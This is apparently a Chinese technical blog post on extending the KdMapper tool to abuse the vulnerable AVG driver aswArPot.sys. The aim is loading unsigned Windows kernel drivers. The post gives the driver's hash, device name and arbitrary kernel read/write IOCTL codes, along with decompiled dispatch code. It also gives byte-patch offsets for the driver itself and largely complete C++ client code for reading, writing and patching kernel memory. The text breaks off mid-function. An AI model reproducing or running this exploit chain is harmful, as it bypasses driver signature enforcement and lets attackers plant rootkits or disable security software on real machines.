KdMapper扩展实现之AVG(aswArPot.sys)

发布时间 2023-10-16 11:31:33作者: 禁锢在时空之中的灵魂

1.背景

  KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。

 

2.驱动信息

 

驱动名称 aswArPot.sys 
时间戳 5FC5F955
MD5 A22626FEBC924EB219A953F1EE2B9600
文件版本 20.10.171.0
设备名称 \\.\avgSP_Avar
读取内存 0x9989C028
写入内存 0x9989C034
Windows 7 支持
Windows 10 22H2(包含) 及以下
Windows 11 22621(包含)及以下

 

3.IDA分析

3.1 入口函数:

NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
        _security_init_cookie();
        return InitializeDriver(DriverObject, RegistryPath);
}

__int64 __fastcall InitializeDriver(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
        __int64 retaddr; // [rsp+0h] [rbp+0h]

        qword_14004D9A8 = retaddr;
        return InitializeDriverImpletementation(DriverObject, RegistryPath);
}

__int64 __fastcall InitializeDriverImpletementation(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
  ULONG MajorVersion; // [rsp+28h] [rbp-E0h] BYREF
  ULONG MinorVersion[3]; // [rsp+2Ch] [rbp-DCh] BYREF
  struct _OSVERSIONINFOW VersionInformation; // [rsp+38h] [rbp-D0h] BYREF

  PsGetVersion(&MajorVersion, MinorVersion, &BuildNumber, 0i64);
  dword_14002A214 = MinorVersion[0] | (MajorVersion << 8);
  if ( (unsigned int)dword_14002A214 < 0x501 )
    return 3221225473i64;
  strcpy((char *)&dword_14002A308, "201111");
  VersionInformation.dwOSVersionInfoSize = 276;
  if ( RtlGetVersion(&VersionInformation) >= 0
    && (VersionInformation.dwMajorVersion > 6
     || VersionInformation.dwMajorVersion == 6 && VersionInformation.dwMinorVersion >= 2) )
  {
    PoolType = 512;
    dword_1400289B8 = 0x40000000;
  }
  sub_140020AB4(RegistryPath);
  sub_140020BA0(RegistryPath);
  CreateAvarDevice(DriverObject);
  sub_140015AF8();
  if ( !(unsigned int)CreateDevice(DriverObject) )
    sub_140020FA8();
  return 0i64;
}

 

3.2 创建设备和符号链接

__int64 __fastcall CreateDevice(struct _DRIVER_OBJECT *pDriverObject)
{
  const wchar_t *szArPotDeviceName; // rdi
  __int64 result; // rax
  NTSTATUS ntStatus; // edi
  _UNICODE_STRING DestinationString; // [rsp+50h] [rbp-28h] BYREF
  _UNICODE_STRING SymbolicLinkName; // [rsp+60h] [rbp-18h] BYREF

  DriverObject = pDriverObject;
  szArPotDeviceName = L"aswSP_ArPot2";
  if ( !g_bAswDevice )
    szArPotDeviceName = L"avgSP_ArPot2";
  _snwprintf(g_szArPotDeviceNameBuffer, 0x1Eui64, L"\\Device\\%s", szArPotDeviceName);
  _snwprintf(g_szArPotSymbolicLinkNameBuffer, 0x1Eui64, L"\\DosDevices\\%s", szArPotDeviceName);
  RtlInitUnicodeString(&DestinationString, g_szArPotDeviceNameBuffer);
  RtlInitUnicodeString(&SymbolicLinkName, g_szArPotSymbolicLinkNameBuffer);
  result = IoCreateDeviceSecure(
             pDriverObject,
             0,
             &DestinationString,
             0x7299u,
             256,
             1,
             (PUNICODE_STRING)L"68",
             0i64,
             &DeviceObject);
  if ( (int)result >= 0 )
  {
    ntStatus = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
    if ( ntStatus >= 0 )
    {
      memset64(pDriverObject->MajorFunction, (unsigned __int64)MainDispatch, 0x1Cui64);
      result = 0i64;
    }
    else
    {
      IoDeleteDevice(DeviceObject);
      result = (unsigned int)ntStatus;
    }
  }
  return result;
}

__int64 __fastcall CreateAvarDevice(PDRIVER_OBJECT pDriverObject)
{
  __int64 result; // rax
  const wchar_t *szAvarDeviceName; // r9
  __int64 v4; // rcx
  __int16 v5; // ax
  __int64 v6; // rcx
  __int16 v7; // ax
  __int64 v8; // rcx
  __int16 v9; // ax
  __int64 v10; // rcx
  char v11; // al
  ULONG MajorVersion; // [rsp+58h] [rbp-89h] BYREF
  ULONG MinorVersion; // [rsp+5Ch] [rbp-85h] BYREF
  _UNICODE_STRING DestinationString; // [rsp+60h] [rbp-81h] BYREF
  _UNICODE_STRING SymbolicLinkName; // [rsp+70h] [rbp-71h] BYREF
  char v16[16]; // [rsp+80h] [rbp-61h] BYREF
  int v17[6]; // [rsp+90h] [rbp-51h]
  __int16 v18; // [rsp+A8h] [rbp-39h]
  int v19[8]; // [rsp+B0h] [rbp-31h]
  __int16 v20; // [rsp+D0h] [rbp-11h]
  int v21[9]; // [rsp+D8h] [rbp-9h]
  __int16 v22; // [rsp+FCh] [rbp+1Bh]

  g_AvarDeviceObject = 0i64;
  PsGetVersion(&MajorVersion, &MinorVersion, &g_OsBuildNumber, 0i64);
  nOsVersion = MinorVersion | (MajorVersion << 8);
  if ( (unsigned int)nOsVersion < 0x500 )
    return 0xC0000001i64;
  szAvarDeviceName = L"aswSP_Avar";
  if ( !g_bAswDevice )
    szAvarDeviceName = L"avgSP_Avar";
  g_szAvarDeviceName = (__int64)szAvarDeviceName;
  _snwprintf(g_szAvarDeviceNameBuffer, 0x1Eui64, L"\\Device\\%s");
  _snwprintf(g_szAvarSymbolicLinkNameBuffer, 0x1Eui64, L"\\DosDevices\\%s", g_szAvarDeviceName);
  RtlInitUnicodeString(&DestinationString, g_szAvarDeviceNameBuffer);
  RtlInitUnicodeString(&SymbolicLinkName, g_szAvarSymbolicLinkNameBuffer);
  result = IoCreateDeviceSecure(
             pDriverObject,
             0,
             &DestinationString,
             0x9988u,
             256,
             0,
             (PUNICODE_STRING)L"68",
             0i64,
             &g_AvarDevice);
  g_ntStatus = result;
  if ( (int)result >= 0 )
  {
    g_ntStatus = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
    if ( g_ntStatus >= 0 )
    {
      g_AvarDeviceObject = g_AvarDevice;
      v4 = 0i64;
      v19[0] = 'F\0\\';
      v19[1] = 7077993;
      v19[2] = 7536741;
      v19[3] = 7536761;
      v19[4] = 6619252;
      v19[5] = 6029421;
      v19[6] = 7602254;
      v19[7] = 7536742;
      v20 = 0;
      v17[0] = 4456540;
      v17[1] = 6881394;
      v17[2] = 6619254;
      v17[3] = 6029426;
      v17[4] = 6881348;
      v17[5] = 7012467;
      v18 = 0;
      v21[0] = 7274569;
      v21[1] = 4391014;
      v21[2] = 7143535;
      v21[3] = 7078000;
      v21[4] = 7602277;
      v21[5] = 5374053;
      v21[6] = 7405669;
      v21[7] = 6619253;
      v21[8] = 7602291;
      v22 = 0;
      strcpy(v16, "CLASSPNP.SYS");
      do
      {
        v5 = *(_WORD *)((char *)v19 + v4);
        *(_WORD *)(v4 + 0x14004D040i64) = v5;
        v4 += 2i64;
      }
      while ( v5 );
      v6 = 0i64;
      do
      {
        v7 = *(_WORD *)((char *)v17 + v6);
        *(_WORD *)(v6 + 0x14004D120i64) = v7;
        v6 += 2i64;
      }
      while ( v7 );
      v8 = 0i64;
      do
      {
        v9 = *(_WORD *)((char *)v21 + v8);
        *(_WORD *)(v8 + 0x14004D3A0i64) = v9;
        v8 += 2i64;
      }
      while ( v9 );
      v10 = 0i64;
      do
      {
        v11 = v16[v10];
        *(_BYTE *)(v10 + 0x14004D380i64) = v11;
        ++v10;
      }
      while ( v11 );
      stru_14004D0E0.Count = 1;
      qword_1400289D8 = (__int64)&qword_1400289D0;
      qword_1400289D0 = &qword_1400289D0;
      stru_14004D0E0.Owner = 0i64;
      stru_14004D0E0.Contention = 0;
      KeInitializeEvent(&stru_14004D0E0.Event, SynchronizationEvent, 0);
      sub_140019CB4();
      sub_14001C130();
      qword_14004CF40 = (__int64 (__fastcall *)(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _DWORD, _DWORD, _DWORD, _DWORD, _QWORD, _DWORD, _DWORD, _QWORD, _DWORD, _QWORD))sub_14001C7F8(L"IoCreateFileSpecifyDeviceObjectHint");
      qword_14004CD60 = sub_14001C7F8(L"IofCallDriver");
      sub_14001C7F8(L"IofCompleteRequest");
      sub_14001A24C();
      sub_14001FC24();
      result = 0i64;
    }
    else
    {
      IoDeleteDevice(g_AvarDevice);
      result = (unsigned int)g_ntStatus;
    }
  }
  return result;
}

  创建设备有两个,需要分析的是 CreateAvarDevice,其创建的设备名是 aswSP_Avar 或 avgSP_Avar,实际中根据驱动安装逻辑创建的是 avgSP_Avar。

 

3.3 MainDispatch

NTSTATUS __fastcall MainDispatch(struct _DEVICE_OBJECT* pDeviceObject, IRP* pIrp)
{
        struct _DEVICE_OBJECT* pRequestDeviceObject; // rbx
        pRequestDeviceObject = pDeviceObject;
        ......    

        if (g_AvarDeviceObject && pDeviceObject == g_AvarDeviceObject)
        {
                if (pIrp->RequestorMode)
                {
                        if (!pIrp->Tail.Overlay.CurrentStackLocation->MajorFunction)
                        {
                                if (CheckAvarDeviceIoControlProcess)
                                {
                                        v18 = IoGetRequestorProcessId(pIrp);
                                        if (!(unsigned __int8)CheckAvarDeviceIoControlProcess(v18))
                                        {
                                        LABEL_17:
                                                pIrp->IoStatus.Status = 0xC00000BB;
                                                IofCompleteRequest(pIrp, 0);
                                                return 0xC00000BB;
                                        }
                                }
                        }
                }
                result = AvarDeviceMainDispatch((__int64)pRequestDeviceObject, pIrp);
        }
        else
        {
                ......
        }
        return result;
}

__int64 __fastcall AvarDeviceMainDispatch(PDEVICE_OBJECT pDeviceObject, IRP* pIrp)
{
        _IO_STACK_LOCATION* pIosp; // rcx
        IO_STATUS_BLOCK* pIoStatus; // r11
        unsigned int ntStatus; // edi
        PVOID pInputBuffer; // rdx
        PVOID pOutputBuffer; // r9
        __int64 nInputBufferLength; // r8
        int nIoControlCode; // er10

        pIosp = pIrp->Tail.Overlay.CurrentStackLocation;
        pIoStatus = &pIrp->IoStatus;
        ntStatus = 0;
        pIrp->IoStatus.Information = 0i64;
        pInputBuffer = pIrp->AssociatedIrp.SystemBuffer;
        pIoStatus->Status = 0;
        pOutputBuffer = pInputBuffer;
        nInputBufferLength = pIosp->Parameters.DeviceIoControl.InputBufferLength;
        nIoControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode;
        if (pIosp->MajorFunction == 2)
        {
                sub_140019B60(pIosp, pInputBuffer, nInputBufferLength, pInputBuffer);
                sub_140017CF8(&dword_14004D440);
        }
        else if (pIosp->MajorFunction == 14)
        {
                if ((nIoControlCode & 3) == 3)
                        pOutputBuffer = pIrp->UserBuffer;
                ntStatus = AvarDeviceIoControl(
                        pIosp->FileObject,
                        pInputBuffer,
                        nInputBufferLength,
                        pOutputBuffer,
                        pIosp->Parameters.DeviceIoControl.OutputBufferLength,
                        nIoControlCode,
                        pIoStatus,
                        pDeviceObject);
        }
        IofCompleteRequest(pIrp, 0);
        return ntStatus;
}

__int64 __fastcall AvarDeviceIoControl(PFILE_OBJECT pFileObject, PVOID pInputBuffer, unsigned int nInputBufferLength, PVOID pOutputBuffer, unsigned int nOutputBufferLength, int nIoControlCode, IO_STATUS_BLOCK* pIoStatus, PDEVICE_OBJECT pDeviceObject)
{
        ......
        NTSTATUS ntStatusV44; // eax

        if (nIoControlCode != 0x9988C044)
        {
                ......
                switch (nIoControlCode)
                {
                        ......
                        default:
                                ntStatusV44 = AvarDefaultDeviceIoControl(
                                        pFileObject,
                                        (ASWARPOT_COPY_MEMORY_INFO*)pInputBuffer,
                                        nInputBufferLength,
                                        pOutputBuffer,
                                        nOutputBufferLength,
                                        nIoControlCode,
                                        pIoStatus);
                                goto LABEL_215;
                }
                ntStatusV44 = 0xC0000206;
                goto LABEL_215;
        }
 
        return result;
}

__int64 __fastcall AvarDefaultDeviceIoControl(PFILE_OBJECT pFileObject, ASWARPOT_COPY_MEMORY_INFO* pInputBuffer, unsigned int nInputBufferLength, PVOID pOutputBuffer, ULONG nOutputBufferLength, int nIoControlCode, IO_STATUS_BLOCK* pIoStatus)
{
        size_t nInputBufferLengthV8; // r13
        _OWORD* nOutputBufferV9; // r15
        PVOID P[4]; // [rsp+50h] [rbp-378h] BYREF


        P[2] = pInputBuffer;
        nInputBufferLengthV8 = nInputBufferLength;
        nOutputBufferV9 = pOutputBuffer;
        P[3] = pOutputBuffer;
        P[1] = pIoStatus;
        LODWORD(P[0]) = 0;
        
        if (nIoControlCode != 0x9989C020)
        {
                switch (nIoControlCode)
                {
                        ......
                        case 0x9989C028:
                                if (nInputBufferLength < 8 || !pInputBuffer)// 读取内存
                                {
                                        result = 0xC0000206i64;
                                        pIoStatus->Status = 0xC0000206;
                                        return result;
                                }
                                if (nOutputBufferLength < 4 || !pOutputBuffer)
                                {
                                        result = 0xC0000206i64;
                                        pIoStatus->Status = 0xC0000206;
                                        return result;
                                }
                                P[0] = pInputBuffer->ReadSourceAddress;
                                if (MmIsAddressValid(P[0]) && MmIsAddressValid((char*)P[0] + nOutputBufferLength))
                                {
                                        CopyMemoryWithSourceMdl(nOutputBufferV9, P[0], nOutputBufferLength);
                                        pIoStatus->Information = nOutputBufferLength;
                                        pIoStatus->Status = 0;
                                        return 0i64;
                                }
                                pIoStatus->Status = 0xC000000D;
                                break;
                        case 0x9989C034:
                                if (nInputBufferLength >= 0x18 && pInputBuffer)// 写入内存
                                {
                                        if (MmIsAddressValid(pInputBuffer->DestinationAddress)
                                                && MmIsAddressValid((char*)pInputBuffer->DestinationAddress + pInputBuffer->Size))// 这里应该是 + pInputBuffer->Size -1
                                        {
                                                CopyMemoryWithDestinaionMdl(pInputBuffer->DestinationAddress, pInputBuffer->Buffer, pInputBuffer->Size);
                                                pIoStatus->Status = 0;
                                                pIoStatus->Information = 0i64;
                                                result = 0i64;
                                        }
                                        else
                                        {
                                                result = 0xC000000Di64;
                                                pIoStatus->Status = 0xC000000D;
                                                pIoStatus->Information = 0i64;
                                        }
                                }
                                else
                                {
                                        result = 0xC0000206i64;
                                        pIoStatus->Status = 0xC0000206;
                                }
                                return result;
                        case 0x9989C02C:
                                ......
                        }
                return sub_1400182E8(
                        (__int64)pFileObject,
                        (unsigned int*)pInputBuffer,
                        nInputBufferLengthV8,
                        nOutputBufferV9,
                        nOutputBufferLength,
                        nIoControlCode,
                        pIoStatus);
        }
       
        return result;
}

  其中 0x9989C028 是读取内存,0x9989C034为写入内存。

  代码第 132 行内容为   if (nOutputBufferLength < 4 || !pOutputBuffer),此处限制每次读取的大小为一个 ULONG,如果读取的字节数小于 4 个字节需要转换一下,参见《4.1 读取内存限制》

  代码第 152 行为 MmIsAddressValid((char*)pInputBuffer->DestinationAddress + pInputBuffer->Size),这里应该为 MmIsAddressValid((char*)pInputBuffer->DestinationAddress + pInputBuffer->Size-1),前者的逻辑使用期间会超出指定的地址范围,如果范围之外的内存页是无效的话就会导致验证失败。相关修改参见《4.2 写入内存地址范围验证》

 

 3.4 CopyMemoryWithSourceMdl

__int64 __fastcall CopyMemoryWithSourceMdl(PVOID DestinationAddress, void* SourceAddress, ULONG nSize)
{
        char bLockedPages; // si
        PMDL pMDL; // rax
        _MDL* pMdl2; // rdi
        PVOID pMappedAddress; // r14
        unsigned int ntSatus; // ebx
        KIRQL oldSpinLock; // bl
        KSPIN_LOCK SpinLock[6]; // [rsp+38h] [rbp-30h] BYREF

        bLockedPages = 0;
        pMDL = IoAllocateMdl(SourceAddress, nSize, 0, 0, 0i64);
        pMdl2 = pMDL;
        SpinLock[1] = (KSPIN_LOCK)pMDL;
        if (!pMDL)
                return 0xC000009Ai64;
        if ((pMDL->MdlFlags & 7) == 0)
        {
                MmProbeAndLockPages(pMDL, 0, IoModifyAccess);
                bLockedPages = 1;
        }
        pMappedAddress = MmMapLockedPagesSpecifyCache(pMdl2, 0, MmCached, 0i64, 0, dword_1400289B8 | 0x10u);
        if (pMappedAddress)
        {
                SpinLock[0] = 0i64;
                oldSpinLock = KeAcquireSpinLockRaiseToDpc(SpinLock);
                memmove(DestinationAddress, pMappedAddress, nSize);
                KeReleaseSpinLock(SpinLock, oldSpinLock);
                ntSatus = 0;
                MmUnmapLockedPages(pMappedAddress, pMdl2);
        }
        else
        {
                ntSatus = 0xC000009A;
        }
        if (bLockedPages)
                MmUnlockPages(pMdl2);
        IoFreeMdl(pMdl2);
        return ntSatus;
}

   其中第 19 行为 MmProbeAndLockPages(pMDL, 0, IoModifyAccess), 第三个参数应应该为 IoReadAceess,否则在映射不可写内存时会导致失败。相关修改参见《4.3 锁定页面参数修改》

 

3.5 CopyMemoryWithDestinaionMdl

__int64 __fastcall CopyMemoryWithDestinaionMdl(void* DestinationAddress, PVOID SourceAddress, ULONG nSize)
{
        char bLockedPages; // si
        PMDL pMdl; // rax
        _MDL* pMdlMapped; // rdi
        PVOID pMappedAddress; // r14
        unsigned int ntStatus; // ebx
        KIRQL oldSpinLock; // bl
        KSPIN_LOCK SpinLock[6]; // [rsp+38h] [rbp-30h] BYREF

        bLockedPages = 0;
        pMdl = IoAllocateMdl(DestinationAddress, nSize, 0, 0, 0i64);
        pMdlMapped = pMdl;
        SpinLock[1] = (KSPIN_LOCK)pMdl;
        if (!pMdl)
                return 0xC000009Ai64;
        if ((pMdl->MdlFlags & 7) == 0)
        {
                MmProbeAndLockPages(pMdl, 0, IoModifyAccess);
                bLockedPages = 1;
        }
        pMappedAddress = MmMapLockedPagesSpecifyCache(pMdlMapped, 0, MmCached, 0i64, 0, dword_1400289B8 | 0x10u);
        if (pMappedAddress)
        {
                SpinLock[0] = 0i64;
                oldSpinLock = KeAcquireSpinLockRaiseToDpc(SpinLock);
                memmove(pMappedAddress, SourceAddress, nSize);
                KeReleaseSpinLock(SpinLock, oldSpinLock);
                ntStatus = 0;
                MmUnmapLockedPages(pMappedAddress, pMdlMapped);
        }
        else
        {
                ntStatus = 0xC000009A;
        }
        if (bLockedPages)
                MmUnlockPages(pMdlMapped);
        IoFreeMdl(pMdlMapped);
        return ntStatus;
}

   其中第 19 行为 MmProbeAndLockPages(pMDL, 0, IoModifyAccess), 第三个参数应应该为 IoReadAceess,否则在映射不可写内存时会导致失败。相关修改参见《4.3 锁定页面参数修改》

 

3.6 _ASWARPOT_COPY_MEMORY_INFO结构体

00000000 _ASWARPOT_COPY_MEMORY_INFO struc ; (sizeof=0x18, align=0x8, copyof_400)
00000000 ReadSourceAddress dq ?                  ; offset
00000008 DestinationAddress dq ?                 ; offset
00000010 Size            dd ?
00000014 Buffer          db 4 dup(?)
00000018 _ASWARPOT_COPY_MEMORY_INFO ends

 

4.相关逻辑分析及修改

4.1 读取内存限制

  在《3.3 MainDispatch》代码第 132 行内容为   if (nOutputBufferLength < 4 || !pOutputBuffer),此处限制每次读取的大小为一个 ULONG,如果读取的字节数小于 4 个字节需要转换一下,

  实现代码如下:

#define ASWARPOT_DEVICE_TYPE          (DWORD)0x9989
#define ASWARPOT_READ_MEMORY_FUNCID   (DWORD)0x300A
#define IOCTL_ASWARPOT_READ_MEMORY      \
    CTL_CODE(ASWARPOT_DEVICE_TYPE, ASWARPOT_READ_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9989C028

typedef struct _ASWARPOT_COPY_MEMORY_INFO
{
    PVOID ReadSourceAddress;
    PVOID DestinationAddress;
    ULONG Size;
    BYTE  Buffer[4];
}ASWARPOT_COPY_MEMORY_INFO, *PASWARPOT_COPY_MEMORY_INFO;

bool avg_driver::ReadMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size) {

        ASWARPOT_COPY_MEMORY_INFO info = { 0 };
        bool bResult = false;
        info.ReadSourceAddress = (PVOID)address;
        ULONG ulData = 0;
        if (size < 4)
        {
                bResult = SuperCallDriver(device_handle, IOCTL_ASWARPOT_READ_MEMORY, &info, sizeof(info), &ulData, 4);
                if (!bResult)
                {
                        Log(L"[-] ReadMemory 1 failed\r\n");
                }
                else
                {
                        RtlCopyMemory(buffer, &ulData, size);
                }

        }
        else
        {
                bResult = SuperCallDriver(device_handle, IOCTL_ASWARPOT_READ_MEMORY, &info, sizeof(info), buffer, size);
                if (!bResult)
                {
                        Log(L"[-] ReadMemory 2 failed\r\n");
                }
        }

        return bResult;
}

 

4.2 写入内存地址范围验证

  在《3.3 MainDispatch》代码第 152 行为 MmIsAddressValid((char*)pInputBuffer->DestinationAddress + pInputBuffer->Size),这里应该为 MmIsAddressValid((char*)pInputBuffer->DestinationAddress + pInputBuffer->Size-1),前者的逻辑使用期间会超出指定的地址范围,如果范围之外的内存页是无效的话就会导致验证失败。

  实际使用过程中要我们分配目标驱动内存并写入数据时会导致验证失败,这时我们可以将分配的内存扩大,实际复制数据时使用原始大小,修改后的相关代码如下:

uint64_t kdmapper::MapDriver(HANDLE iqvw64e_device_handle, BYTE* data, ULONG64 param1, ULONG64 param2, bool free, bool destroyHeader, bool mdlMode, bool PassAllocationAddressAsFirstParam, mapCallback callback, NTSTATUS* exitCode) 
{
    ......
    void* local_image_base = VirtualAlloc(nullptr, image_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
	if (!local_image_base)
		return 0;

	DWORD TotalVirtualHeaderSize = (IMAGE_FIRST_SECTION(nt_headers))->VirtualAddress;
	image_size = image_size - (destroyHeader ? TotalVirtualHeaderSize : 0);

	uint64_t kernel_image_base = 0;
	uint64_t mdlptr = 0;
	//因为校验时的边界设置错误,故分配时的大小加一个页面,使用时按原大小
	if (mdlMode) {
		
		kernel_image_base = AllocMdlMemory(iqvw64e_device_handle, image_size + 0x1000, &mdlptr);
	}
	else {
		kernel_image_base = avg_driver::AllocatePool(iqvw64e_device_handle, nt::POOL_TYPE::NonPagedPool, image_size+0x1000);
	}
    ......
}

 

4.3 锁定页面参数修改

  在《3.4 CopyMemoryWithSourceMdl》《3.5 CopyMemoryWithDestinaionMdl》 中 MmProbeAndLockPages 第三个参数为 IoModifyAccess,即 2,这样会导致映射不可写内存页面时失败,应该改为IoReadAccess,也即为 0。其实在之后调用 MmMapLockedPagesSpecifyCache 后,内存已经变为可读可写了,之前的 MmProbeAndLockPages 第三个参数为 IoReadAccess就可以了。 

4.3.1 CopyMemoryWithSourceMdl 修改 

  IDA 定位如下:

.text:000000014001DD97                         loc_14001DD97:                          ; DATA XREF: .rdata:0000000140027550↓o
.text:000000014001DD97 33 D2                                   xor     edx, edx        ; AccessMode
.text:000000014001DD99 44 8D 42 02                             lea     r8d, [rdx+2]
.text:000000014001DD9D 48 8B CF                                mov     rcx, rdi        ; MemoryDescriptorList
.text:000000014001DDA0 FF 15 BA 62 00 00                       call    cs:MmProbeAndLockPages

  可以修改 lea r8d, [rdx+2] 为  lea r8d, [rdx] 即可,即使将 000000014001DD99 处的机器码修改为 44 80 42 00,也即将 000000014001DD9C 对应的字节改为 0。 

  000000014001DD9C 处对应的的虚拟地址偏移量可用 StudyPE 查询,如下:

  

  即驱动基址加 0x1DD9C 处字节修改为0。

4.3.2 CopyMemoryWithDestinaionMdl 修改

  IDA 定位如下:

.text:000000014001DEB3                         loc_14001DEB3:                          ; DATA XREF: .rdata:000000014002757C↓o
.text:000000014001DEB3 33 D2                                   xor     edx, edx        ; AccessMode
.text:000000014001DEB5 44 8D 42 02                             lea     r8d, [rdx+2]    ; Operation
.text:000000014001DEB9 48 8B CF                                mov     rcx, rdi        ; MemoryDescriptorList
.text:000000014001DEBC FF 15 9E 61 00 00                       call    cs:MmProbeAndLockPages

  可以修改 lea r8d, [rdx+2] 为  lea r8d, [rdx] 即可,即使将 000000014001DEB5 处的机器码修改为 44 80 42 00,也即将 000000014001DEB8 对应的字节改为 0。 

  000000014001DEB8 处对应的的虚拟地址偏移量可用 StudyPE 查询,如下:

  

  即驱动基址加 0x1DEB8 处字节修改为0。

4.3.3 相关代码

#define READ_PROBE_AND_LOCK_PAGES_OPERATION_OFFSET      (0x1dd9c)
#define WRITE_PROBE_AND_LOCK_PAGES_OPERATION_OFFSET      (0x1deb8)

bool avg_driver::PatchDriver(HANDLE device_handle)
{
        BYTE byData = 0;
        uint64_t driverBase = utils::GetKernelModuleAddress(driver_name);

        if (driverBase == 0) {
                Log(L"[-] Failed to get driver:" << driver_name << std::endl);
                avg_driver::Unload(device_handle);
                return false;
        }
        //将对应读写内存 MmProbeAndLockPages(pMdl, 0, IoModifyAccess); 第三个参数改为 IoReadAccess
        uint64_t patchReadAddress = driverBase + READ_PROBE_AND_LOCK_PAGES_OPERATION_OFFSET;
        if (!WriteMemory(device_handle, patchReadAddress, &byData, 1))
        {
                Log(L"[-] Failed to Write Memory In Patch Driver 1" << std::endl);
                avg_driver::Unload(device_handle);
                return false;
        }

        uint64_t patchWriteAddress = driverBase + WRITE_PROBE_AND_LOCK_PAGES_OPERATION_OFFSET;
        if (!WriteMemory(device_handle, patchWriteAddress, &byData, 1))
        {
                Log(L"[-] Failed to Write Memory In Patch Driver 2" << std::endl);
                avg_driver::Unload(device_handle);
                return false;
        }
        Log(L"[+] PatchDriver OK!\r\n");
        return true;
}

 

5.完整关键代码

  头文件

#define ASWARPOT_DEVICE_TYPE          (DWORD)0x9989
#define ASWARPOT_READ_MEMORY_FUNCID   (DWORD)0x300A
#define ASWARPOT_WRITE_MEMORY_FUNCID (DWORD)0x300D

#define IOCTL_ASWARPOT_READ_MEMORY      \
    CTL_CODE(ASWARPOT_DEVICE_TYPE, ASWARPOT_READ_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9989C028
#define IOCTL_ASWARPOT_WRITE_MEMORY    \
    CTL_CODE(ASWARPOT_DEVICE_TYPE, ASWARPOT_WRITE_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9989C034

#define READ_PROBE_AND_LOCK_PAGES_OPERATION_OFFSET      (0x1dd9c)
#define WRITE_PROBE_AND_LOCK_PAGES_OPERATION_OFFSET      (0x1deb8)

typedef struct _ASWARPOT_COPY_MEMORY_INFO
        {
                PVOID ReadSourceAddress;
                PVOID DestinationAddress;
                ULONG Size;
                BYTE  Buffer[4];
        }ASWARPOT_COPY_MEMORY_INFO, *PASWARPOT_COPY_MEMORY_INFO;

  CPP文件

NTSTATUS avg_driver::SuperCallDriverEx(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG IoControlCode,
        _In_ PVOID InputBuffer,
        _In_ ULONG InputBufferLength,
        _In_opt_ PVOID OutputBuffer,
        _In_opt_ ULONG OutputBufferLength,
        _Out_opt_ PIO_STATUS_BLOCK IoStatus)
{
        IO_STATUS_BLOCK ioStatus;

        NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,
                NULL,
                NULL,
                NULL,
                &ioStatus,
                IoControlCode,
                InputBuffer,
                InputBufferLength,
                OutputBuffer,
                OutputBufferLength);

        if (ntStatus == STATUS_PENDING) {

                ntStatus = NtWaitForSingleObject(DeviceHandle,
                        FALSE,
                        NULL);
        }

        if (IoStatus)
                *IoStatus = ioStatus;
        if (!NT_SUCCESS(ntStatus))
        {
                Log(L"[-] SuperCallDriverEx failed, code:0x" << std::setbase(16) << std::setw(8) << std::setfill(L'0') << ntStatus << std::endl);
        }
        return ntStatus;
}


BOOL avg_driver::SuperCallDriver(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG IoControlCode,
        _In_ PVOID InputBuffer,
        _In_ ULONG InputBufferLength,
        _In_opt_ PVOID OutputBuffer,
        _In_opt_ ULONG OutputBufferLength)
{
        BOOL bResult;
        IO_STATUS_BLOCK ioStatus;

        NTSTATUS ntStatus = SuperCallDriverEx(
                DeviceHandle,
                IoControlCode,
                InputBuffer,
                InputBufferLength,
                OutputBuffer,
                OutputBufferLength,
                &ioStatus);

        bResult = NT_SUCCESS(ntStatus);
        SetLastError(RtlNtStatusToDosError(ntStatus));
        return bResult;
}

bool avg_driver::ReadMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size) {

        ASWARPOT_COPY_MEMORY_INFO info = { 0 };
        bool bResult = false;
        info.ReadSourceAddress = (PVOID)address;
        ULONG ulData = 0;
        if (size < 4)
        {
                bResult = SuperCallDriver(device_handle, IOCTL_ASWARPOT_READ_MEMORY, &info, sizeof(info), &ulData, 4);
                if (!bResult)
                {
                        Log(L"[-] ReadMemory 1 failed\r\n");
                }
                else
                {
                        RtlCopyMemory(buffer, &ulData, size);
                }

        }
        else
        {
                bResult = SuperCallDriver(device_handle, IOCTL_ASWARPOT_READ_MEMORY, &info, sizeof(info), buffer, size);
                if (!bResult)
                {
                        Log(L"[-] ReadMemory 2 failed\r\n");
                }
        }

        return bResult;
}

bool avg_driver::WriteMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size) {

        ULONG ulSize = sizeof(ASWARPOT_COPY_MEMORY_INFO) + size;
        PASWARPOT_COPY_MEMORY_INFO pInfo = (PASWARPOT_COPY_MEMORY_INFO)malloc(ulSize);
        if (!pInfo)
        {
                Log(L"[-]WriteMemory malloc failed\r\n");
                return false;
        }
        RtlZeroMemory(pInfo, ulSize);
        pInfo->DestinationAddress = (PVOID)address;
        pInfo->Size = size;
        RtlCopyMemory(&pInfo->Buffer, buffer, size);

        bool bResult = SuperCallDriver(device_handle, IOCTL_ASWARPOT_WRITE_MEMORY, pInfo, ulSize, NULL, NULL);
        free(pInfo);
        if (!bResult)
        {
                Log(L"[-] WriteMemory failed\r\n");
        }
        return bResult;
}

bool avg_driver::WriteToReadOnlyMemory(HANDLE device_handle, uint64_t address, void* buffer, uint32_t size) {
        if (!address || !buffer || !size)
                return false;


        bool result = WriteMemory(device_handle, address, buffer, size);

        return result;
}

bool avg_driver::PatchDriver(HANDLE device_handle)
{
        BYTE byData = 0;
        uint64_t driverBase = utils::GetKernelModuleAddress(driver_name);

        if (driverBase == 0) {
